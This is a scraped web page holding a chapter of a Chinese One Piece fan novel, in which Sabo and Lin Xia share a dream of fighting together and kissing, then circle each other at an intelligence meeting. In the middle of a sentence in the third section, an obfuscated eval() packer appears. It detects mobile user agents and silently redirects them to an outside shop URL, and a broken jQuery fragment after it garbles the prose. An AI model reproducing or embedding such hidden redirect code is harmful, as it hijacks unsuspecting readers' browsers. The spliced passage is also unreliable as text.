文趣网 > 其他小说 > [海贼王]伟大航路,借过 > 59.像是见过
    ※一 ※

    萨博是被自己的心跳吵醒的。

    天还没亮。

    革命军基地深处的舱房没有窗,只有门缝底下漏进一线青灰色的光。四周很静,远处偶尔传来守夜士兵换岗的脚步声,隔着几层舱壁,沉闷得像从水底传来。

    萨博睁着眼躺在床上,胸口还在一下接一下地撞。

    太快了。

    像是刚从战场上退下来,血还热着,身体却已经先一步回到了安全的地方。他抬起手按住胸膛,掌心下的心跳仍旧没有慢下来的意思。

    他做了一个梦。

    一个长得过分、也清楚得过分的梦。

    梦里先是一片黄昏的海岸。

    海风裹着硝烟和盐味,从烧塌的木棚间穿过去。远处停着几艘挂着奴隶商旗帜的船,桅杆已经被炸断,火沿着浸了油的缆绳往上爬。获救的人正被革命军护送着撤离,有孩子在哭,也有人跪在沙地上,抓着同伴的手,连站起来的力气都没有。

    那是他们刚炸掉的一处据点。

    梦里的萨博记得自己做过什么,记得爆破点埋在哪里,记得哪条撤退路线最安全,甚至记得自己在行动开始前喝了半杯凉掉的咖啡。

    可他不记得,那个姑娘是什么时候出现的。

    他只记得身后忽然响了一声极轻的嗡鸣。

    细长的刀锋从他耳侧掠过,擦着他的帽檐,架住了从背后斩来的一刀。

    金属相撞的声音在耳边炸开。

    萨博回头时,先看见了一双琥珀色的眼睛。

    那姑娘离他很近,黑发被海风吹得凌乱,发尾沾着灰,脸侧还有一道不知道是谁的血。她握剑的手很稳,手腕压着敌人的刀,朝他偏了偏下巴。

    “左边。”

    她只说了两个字。

    萨博却像是早就知道她要做什么,钢管横扫出去,砸断左侧敌人的肋骨。几乎同时,她撤剑、旋身,借着他挥击留下的空隙切进人群。

    没有商量,也没有迟疑。

    一个人抬手,另一个人就知道该补哪一处;一个人向前,另一个人自然守住身后。敌人的枪口刚刚抬起来,她的剑已经压低了弹道;她被两个人逼到岩壁边,萨博甚至没有回头确认,钢管便从肩后横穿过去,替她架住了砍向腰侧的刀。

    他们背靠着背,在燃烧的海岸上打了一场。

    梦里的风很大。

    她的肩胛隔着衣料,一次次撞在他背上。每一次接触都短得只有一瞬,却稳得让人安心。他甚至能分辨出她换气的节奏——三次短促的呼吸后,她会向右侧突进;脚步忽然放轻,说明她已经盯上了藏在暗处的枪手。

    严丝合缝。

    像这样的配合,他们已经打过无数次。

    可梦里的萨博分明知道,他们才刚刚认识。

    这份矛盾没有让他觉得奇怪。梦里的他只是顺理成章地相信她,也顺理成章地把自己的后背交给她。

    后来据点彻底塌了。

    他们为了避开追兵,从海岸退进一条狭窄的岩缝。里面黑得连自己的手都看不见,石壁湿冷,脚下全是碎石和积水。

    枪声就是在那时响的。

    萨博只来得及看见岩缝外闪过一点火光。

    那姑娘就在他身前。

    他没有想。

    身体先于脑子侧了过去,将她整个人压进岩壁与自己的怀里。子弹从背后贯入的瞬间,他的肩膀猛地一震,口腔里立刻漫开一股铁锈味。

    她似乎喊了他的名字。

    可他没听清。

    耳边全是血液奔流的声音,还有她骤然乱掉的呼吸。

    岩缝太窄了。

    他们几乎没有转身的余地,只能侧着挤在一起。他的胸膛贴着她,受伤的手臂垂在身侧,另一只手撑着她背后的石壁,勉强不把全部重量压上去。

    她伸手按住了他的伤口。

    掌心很热。

    萨博疼得眼前发黑,却还是把脸埋进了她的肩颈。不是为了亲近,只是那一瞬间,他实在没有力气继续维持清醒的样子。

    她的头发擦过他的脸颊,带着海风、硝烟,还有一点很淡的、像是晒过太阳的气味。

    “别出声。”她贴着他的耳侧说,“追兵还在外面。”

    萨博咬住牙,把闷哼咽了回去。

    她按得很用力,几乎让伤口重新裂开,可他知道那是为了止血。她的手指在发抖,幅度很小,小到她自己大概以为没人发现。

    “你在怕什么?”他喘着气问。

    “怕你死。”

    她答得太快,像那句话根本来不及经过思考。

    梦里的萨博安静了很久。

    岩缝外,追兵的脚步踩过碎石,一步一步逼近。她的呼吸落在他的耳畔,暖得发烫。他低下头,黑暗里看不见她的脸,却能感觉到她仰起头时,鼻尖轻轻擦过了他的下颌。

    “你不该替我挡。”她说。

    “算过了。”

    萨博听见自己回答。

    “我死不了。你挨这一下,未必还能走。”

    “你骗人。”

    她的声音很轻。

    萨博笑了一下,伤口被扯得发疼。

    “嗯。”

    他承认了。

    那一刻,他突然不想再把每一件事都讲得合乎利益。他不想告诉她,革命军参谋长应该优先保住谁,哪一个人的价值更高,哪一种选择更符合全局。

    他只是想挡。

    仅此而已。

    “你让我……”他停了一下,喉咙里都是血腥味,“不想算了。”

    她按在他背后的手,忽然僵住。

    外面的脚步越来越近。

    他们却谁都没有再说话。

    萨博不知道自己为什么低下了头。

    也许是因为她没有后退,也许是因为她贴得太近,近到他能感受到她每一次呼吸时胸口的起伏。又或许,他在那个梦里已经忍耐了太久,久到连自己都忘了究竟在忍什么。

    他的嘴唇先碰到她的脸侧。

    很轻的一下。

    像是黑暗里找错了位置。

    她整个人都颤了一下,却仍旧没有推开他。

    萨博停在那里,鼻息落在她的唇角。他给了她退开的时间,也给了自己最后一次恢复理智的机会。

    可她只是抓紧了他背后的衣服。

    于是他偏过头,吻住了她。

    最初的触碰很轻。

    她的嘴唇是凉的,带着一点被风吹久了的干涩。萨博却烫得厉害,呼吸、皮肤,连唇齿间都是热的。他刚碰上去,便尝到了血的味道——可能来自他唇角的伤,也可能是刚才咬破的舌尖。

    她没有躲。

    这件事让他的理智彻底断了。

    他撑着石壁的手慢慢收紧,低头加深了那个吻。动作算不上熟练,甚至因为伤势显得有些狼狈,可那种急切太真实了,像是在确认一个已经失去过无数次的人,如今到底是不是还在怀里。

    她先是僵着,随后一点一点松下来。

    按住他伤口的手没有移开,另一只手却摸索着抓住了他的衣领。她仰起脸回应他时,萨博胸口那颗跳得几乎发疼的心,像是终于找到了落处。

    外面有枪,有追兵,有一整片正在燃烧的海岸。

    他却只听得见她的呼吸。

    短促的、混乱的,一次次落进他的唇间。

    那个吻持续了多久,萨博不知道。

    他只记得自己最后将额头抵在她的额头上,两个人都在喘。她的手指仍抓着他的衣领,像是不肯放,又像是忘了应该放开。

    他在黑暗里低声叫她。

    “夏。”

    只有一个字。

    熟稔得像已经叫过一辈子。

    梦便停在了那里。

    萨博睁着眼,看着舱顶。

    他抬手碰了碰自己的嘴唇。

    上面当然什么都没有。

    没有血腥味,也没有那个姑娘近在咫尺的呼吸。可他的身体记得那种触感,甚至记得她在被吻住的最初一瞬,抓着他衣领的手猛地收紧。

    清楚得不像梦。

    萨博翻身坐了起来,手掌盖住半张脸。

    他这人,活了二十多年,靠的就是一个“算”字。

    一条情报值不值得冒险,一个据点能不能救,一个人能不能信,他都得算清楚。哪怕情况紧急,他的脑子也会本能地去找最稳妥的选择。

    可梦里的那个他,替一个刚认识的姑娘挡枪时,连半秒都没有犹豫。

    不仅替她挡了。

    还在敌人就在外面的情况下,把人按在岩缝里亲了那么久。

    萨博低低地笑了一声。

    那笑声在安静的舱房里显得格外清晰,里面全是对自己的无可奈何。

    “……行啊,萨博。”

    他仰头看着天花板,自言自语。

    “跟人家握一次手,就能梦见替人挡枪,顺便连亲都亲了。”

    握过手。

    就那么一回。

    东海一间酒馆的地下室里,双方谈完情报交换,公事公办地握了一下。她的手掌温度偏低,握得很短,松开的时候连多余的目光都没给他。

    他却把人梦了整整一夜。

    荒唐。

    萨博重新躺下,闭上眼,试图把这件事归为一次过于真实的胡思乱想。

    可他闭上眼,岩缝里的黑暗便重新压下来。

    她说“怕你死”时发颤的气息,他吻上去时她骤然收紧的手,额头相抵时两个人混乱的呼吸,全都还在。

    寻常的梦醒来便散了,剩下一点模糊的情绪,连人脸都未必记得清楚。

    这个梦却像是被谁硬塞进他脑子里的一段记忆。

    连她的剑从什么角度递过来,他都记得。

    连她按住伤口时,拇指恰好压在他肩胛下方哪一处,他都记得。

    甚至那个吻——

    萨博闭了闭眼,耳根莫名发热。

    不像是他凭空想象出来的。

    倒像是他真的做过。

    他睁开眼,眉头一点点皱起来。

    他没有童年的记忆。

    龙把他从海里救上来的那一天之前,所有东西都是空的。没有家,没有亲人,没有名字的来历。他早已习惯不去碰那一片空白,甚至觉得不记得也没什么不好。

    可现在,那片空白里像是忽然裂开了一道缝。

    缝后站着一个握着细剑、琥珀色眼睛的姑娘。

    萨博烦躁地抓了抓头发。

    梦而已。

    他对自己说。

    白刃林夏确实出色,做事干净,判断也快。他们最近又一直在对接情报,他对这个人有所关注,再正常不过。

    日有所思,夜有所梦。

    仅此而已。

    他在心里把逻辑梳理得清清楚楚,正准备重新躺下,脑子里却忽然冒出一个问题。

    下一次接头,是什么时候?

    萨博沉默了。

    过了两秒,他猛地掀开被子下床。

    不睡了。

    ※二 ※

    林夏那边,比萨博难熬得多。

    她也记得那个梦。

    从黄昏的海岸,到狭窄的岩缝,每一寸都记得。

    她记得萨博转身挡在她面前时,肩膀在枪响中猛地一震;记得他明明疼得连呼吸都在发抖,还要故作轻松地告诉她“算过了”;记得他说“你让我不想算了”时,声音低得几乎要被外面的脚步声盖住。

    也记得那个吻。

    最开始,他只是碰错了地方。

    干燥的嘴唇擦过她的脸侧,停在离她唇角很近的位置。他没有立刻继续,像是在等她推开。

    林夏当时明明应该推开。

    追兵就在外面,他受了伤,他们连能不能活着离开都不知道。她有无数个理由让自己保持清醒。

    可她抓住了他的衣领。

    那一瞬间,她甚至没有想过后果。

    萨博吻下来时,她闻到他身上的血和火药味。那个吻带着伤口的疼痛,也带着一种几乎不讲道理的急切。他像是忍了太久,又像是已经失去过她一次,必须在那一刻确认她还在。

    她记得自己是怎么一点一点放松的。

    怎么从最初的不知所措,变成仰起脸去回应他。

    怎么在他的额头抵上来时,产生了一个贪心得让她自己都觉得可耻的念头——

    再靠一会儿。

    哪怕追兵下一刻就会发现他们,哪怕这条岩缝会塌,哪怕那个梦随时会结束。

    她也想再靠一会儿。

    她用了半辈子,把自己锻造成一件没有缝隙的兵器。她学会不依赖任何人,学会每一次受伤都自己处理,学会在有人靠近之前先把退路留好。

    可在那个梦里,她把所有防备都卸了下来。

    因为那个人是萨博。

    那个会记得她、理解她,会在她开口之前就知道她要做什么的萨博。

    醒来以后,现实只用一句话,就把她从那个怀抱里拽了出来。

    ——那个什么都对的萨博,是梦给她的。

    不是现实里的他给的。

    真正的萨博不记得她。

    他看见她的时候,只会觉得她的态度有些奇怪;她多看他一眼,他便会本能地分析她有什么目的。

    他们之间没有燃烧的海岸,没有并肩作战,也没有那道岩缝。

    更没有那个吻。

    所以这次去接头前,林夏花了比往常更长的时间,把自己重新收拾好。

    不是衣服。

    是那副用来见人的外表。

    她把梦里的萨博从脑子里一寸寸剥出去,把被他吻过时短暂失控的心跳压回去,把所有不该有的期待重新锁进最深的地方。

    她已经做好准备。

    准备再次面对那个客气、疏远、公事公办的革命军参谋长。

    准备看着那张熟悉的脸,用陌生人的口吻叫她“白刃”。

    也准备让那种陌生感再剜她一次。

    地下室的门被推开。

    萨博已经坐在桌边。

    听见动静,他抬起头。

    林夏的脚步几不可察地顿了一下。

    不对。

    那双眼睛里少了上一次见面时纯粹的审视。

    他仍在观察她,却不再只是判断她是否可信。他的目光在她脸上停得久了一点,像是在寻找某个自己也说不清楚的东西。

    甚至在她走近时,他的视线极快地扫过了她的嘴唇。

    只是一瞬。

    快得换成别人,根本不会注意。

    林夏却看见了。

    她的身体比意识更快地记起梦里的触感,唇上仿佛又残留了一点血腥味。她只能把手指收进袖中,借着布料挡住那一瞬间的僵硬。

    【宿主。】系统的声音压得很轻,【他看你的眼神变了。】

    ——她知道。

    萨博也梦见了。

    或许他醒来以后只把它当成一场荒唐的梦,可他身体里那点没有被记忆带走的东西,已经被翻了出来。

    他开始觉得她熟悉。

    开始在意她。

    开始不受控制地朝她这边偏。

    林夏原本已经做好了被陌生的目光刺一下的准备。

    那一刀却落了空。

    可落空以后,她反而更加难受。

    如果萨博依旧疏远,她至少知道该怎么做。

    继续交换情报,继续维持距离,等拿到自己需要的东西便离开。

    可现在,他开始靠近了。

    林夏分辨不出,他是对真正的她产生了兴趣,还是被梦里那个并肩作战、与他接吻的女人影响了。

    他现在看着的人究竟是谁?

    是坐在他对面的林夏,还是梦里那个让他“不想算了”的幻影?

    “……参谋长。”

    林夏在他对面坐下,脸上没有留下任何情绪。

    “说正事吧。”

    萨博看了她一会儿,才将桌上的文件推过来。

    “好。”

    ※三 ※

    正事谈得很顺。

    不正经的事,是萨博自己掺进来的。

    情报转移的路线、接应人员和撤离时间很快敲定。林夏收起文件,本以为这场见面就此结束,萨博却没有像往常一样起身。

    他向后靠进椅背,手指轻轻敲了两下桌面。

    这个动作看起来很随意。

    林夏却知道,他正在组织语言。

    “白刃。”

    “嗯。”

    “问你个怪问题。”

    林夏抬眼看他。

    萨博盯着她,语气像是在闲聊,眼睛却锐利得没有半点放松。

    “我们以前,是不是在哪儿见过?”

    林夏端着水杯的手没有动。

    这个问题,她在来的路上已经设想过。

    她甚至想过萨博会用什么语气问,问到哪一步,会拿出什么作为证据。

    “没有。”她说,“东海那间地下室,第一次。”

    “是吗?”

    萨博没有立刻移开目光。

    “可我总觉得你很眼熟。”

    “参谋长见过的人多,记串了。”

    “我记性没这么差。”

    “那就是错觉。”

    她回答得滴水不漏。

    萨博却没有被说服。

    他看着她,目光从她的眼睛落到握住杯子的手上,又重新回到她脸上。

    她越平静,他心里那种奇怪的感觉就越重。

    梦里的姑娘和眼前的人长着同一张脸,这本来已经足够荒唐。偏偏林夏看见他时,那一瞬间的停顿,也像是在掩饰什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750440|207963||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    而且梦里的她,也是这样。

    越是心里有事,脸上越平静。

    这个念头一冒出来,萨博自己都觉得可笑。

    他竟然开始拿一场梦,分析一个活生生的人。

    可他控制不住。

    “也许吧。”

    萨博往前倾了一点,手肘落在桌面上。

    “那你最近,有没有做过什么奇怪的梦?”

    林夏的呼吸停了半拍。

    极短。

    短到几乎不能被察觉。

    萨博却看见了。

    ——他在试她。

    林夏心里立刻有了判断。

    他梦见了同一片海岸、同一场战斗,还有那道岩缝。

    也可能包括那个吻。

    这个认知像一根细针,猛地扎进她的神经。

    她不能接。

    一旦承认,他们便会追问那场梦为什么如此真实。萨博会想知道她为什么看起来毫不意外,为什么梦里的他们配合得那么熟练,又为什么他会在黑暗里叫她“夏”。

    那道口子一旦撕开,她藏了半辈子的东西都会跟着涌出来。

    “没有。”

    林夏把杯子放回桌上,声音很稳。

    “我不做梦。”

    她说得太快。

    萨博安静了两秒。

    一个长期在海上行动、随时可能受伤甚至昏迷的人,告诉他自己从不做梦。

    他当然不信。

    而且她刚才停住的那半拍呼吸,已经替她回答了。

    她梦见了。

    至少,她知道他在问什么。

    萨博心里骤然绷紧。

    梦里那些过于真实的细节再次涌上来。他记得她抓住自己衣领的力度,记得她唇上的温度,也记得自己叫出的那个“夏”。

    如果她也梦见了——

    那就不可能只是普通的日有所思。

    可她为什么不肯承认?

    萨博没有拆穿,只是慢慢靠回椅背。

    “这样啊。”

    他说得很轻,像是接受了这个答案。

    林夏却知道,他已经把她的反应记下了。

    【宿主。】系统幽幽开口,【你那句“我不做梦”,破绽很大。】

    “……闭嘴。”

    林夏在心里咬牙。

    【你还可以说自己从不睡觉。】

    “再说一句,我就把你关进静默模式。”

    系统安静了。

    林夏的手指却仍旧压在杯壁上。

    她活了这么多年,和海军周旋过,和世界政府的谍报人员互相设过局,也曾经对着塞拉斯那种人面不改色地说谎。

    她很少在应对一个问题时感到慌乱。

    可萨博什么都不记得,却总能准确地撞在她最不愿意碰的地方。

    他问她是不是见过。

    问她有没有做梦。

    再这样下去,总有一天,他会问她——

    为什么梦里的自己会叫她“夏”。

    到那时,她该怎么回答?

    ※四 ※

    比萨博本人更让林夏头疼的,是革命军的其他人。

    这帮人平日里一个比一个严肃,开会时能为了补给路线争上两个小时,一旦逮到自家参谋长的热闹,却比谁都积极。

    林夏不止一次在接头时,听见他们躲在旁边嘀咕。

    “参谋长今天是不是又换领结了?”

    “什么叫又换?他以前根本不戴这个颜色。”

    “见白刃之前,照了三遍镜子。”

    “我昨天还看见他问后勤,东海有什么点心不太甜。”

    声音压得不算低。

    显然是故意想让某个人听见。

    萨博脸上的笑越来越僵,偏偏又不能真把人全赶出去,只能用文件敲了敲桌面。

    “你们很闲?”

    一群人立刻低头。

    “没有,参谋长。”

    “我们在核对情报。”

    “对,核对点心……不,补给。”

    林夏坐在一旁,目光落在文件上,像是什么都没听见。

    可她看得出来,萨博今天的领结确实换了。

    颜色也恰好和她常用的那条发带很接近。

    她不愿意去猜这是不是巧合。

    有一回,一个胆子格外大的革命军成员,当着林夏的面就开始起哄。

    “要我说,参谋长,你干脆把白刃拐进革命军得了。”

    “对啊,情报合作还得约地方,多麻烦。”

    “拐进来就是自己人了,近水楼台嘛!”

    萨博的耳根以肉眼可见的速度红了。

    “说什么呢?”

    “说正事啊,参谋长。”

    “这不是组织发展问题吗?”

    屋里笑成一片。

    林夏端起水,慢慢喝了一口。

    “可以啊。”

    她忽然开口。

    满屋瞬间安静。

    萨博也抬起头,显然没料到她会接话。

    林夏放下水杯,脸上浮起一个无懈可击的浅笑。

    那是她谈生意时惯用的表情。

    “聘礼。”

    “什么?”萨博愣了一下。

    “你脑子里那张世界政府的网,誊一份给我。”

    林夏看着他。

    “一手交网,一手交人。”

    屋里静了一瞬,随即爆发出更大的笑声。

    “参谋长,划算啊!”

    “这哪里是聘礼,这分明是技术入股!”

    “参谋长本人还能继续干活,革命军不亏!”

    萨博被吵得耳根通红,抬手压了压帽檐,试图保住自己最后一点参谋长的体面。

    “行了。”

    没有人听。

    他只能提高声音。

    “谈正事。”

    萨博没有承认,也没有否认。

    只是把话题岔开了。

    林夏脸上的笑始终没有变。

    只有她自己知道,刚才那句“一手交网,一手交人”出口时,她心里有那么一瞬间,竟真的在等他的回答。

    哪怕只是玩笑。

    哪怕他笑着说一句“成交”。

    可萨博避开了。

    她本来应该松一口气。

    这才是正确的反应。

    他什么都不知道,而她也不该让一场梦影响现实。

    可那一点极轻的失望还是落了下来,压在胸口,闷得她握住杯子的手指微微发紧。

    她来革命军,是为了换真相。

    为了把这些年捡到的线索重新拼起来,看清世界政府究竟在掩盖什么。她图的是萨博脑子里那张交错复杂的情报网,是龙掌握的那一段空白历史。

    她没有准备在这里得到别的东西。

    更没有准备再次遇见萨博。

    一个不记得她,却开始一点一点靠近她的萨博。

    她替他记着那个过去。

    记得那片海岸,记得岩缝里的吻,记得他贴着她的额头,低声叫她“夏”。

    她还留着那只空铁盒。

    铁盒就贴身放着,盒底刻着一个歪歪扭扭的字。那个名字,只有他这样叫过。

    而现实里的萨博什么都不知道。

    他只是凭着某种自己也解释不了的感觉,换了一条颜色相近的领结,问后勤她喜欢什么点心,在见面时多看她半秒。

    他觉得她眼熟。

    试探她有没有做过梦。

    在别人起哄时耳根发红,却没有真正否认。

    林夏不知道他还能靠近多少。

    更不知道自己还能退多少。

    【宿主。】

    系统忽然开口。

    这一次,声音里没有半点调侃。

    【你打算瞒到什么时候?】

    林夏没有回答。

    桌子对面,萨博正低头翻看文件。

    翻到一半,他像是察觉到她的目光,忽然偏过头看了过来。

    动作很自然。

    微微侧脸,目光先到,随后才是身体。

    与梦里的某个瞬间一模一样。

    梦里,他们背靠背站在燃烧的海岸上。她还没开口,他已经这样偏过头,等她告诉他下一个敌人在哪里。

    林夏的心脏猛地缩了一下。

    她先移开了目光,端起那杯早已凉透的水,慢慢喝了一口。

    她不知道自己还能瞒多久。

    至少眼下,她还瞒得住。

    而那个什么都算得清,偏偏算不明白自己为什么总在意她的萨博,仍旧隔着一张桌子看着她。

    他没有问。

    却也没有把目光收回去。

    像是有一部分早已被遗忘的自己,正在隔着漫长的空白,一步一步,把他重新带到她面前。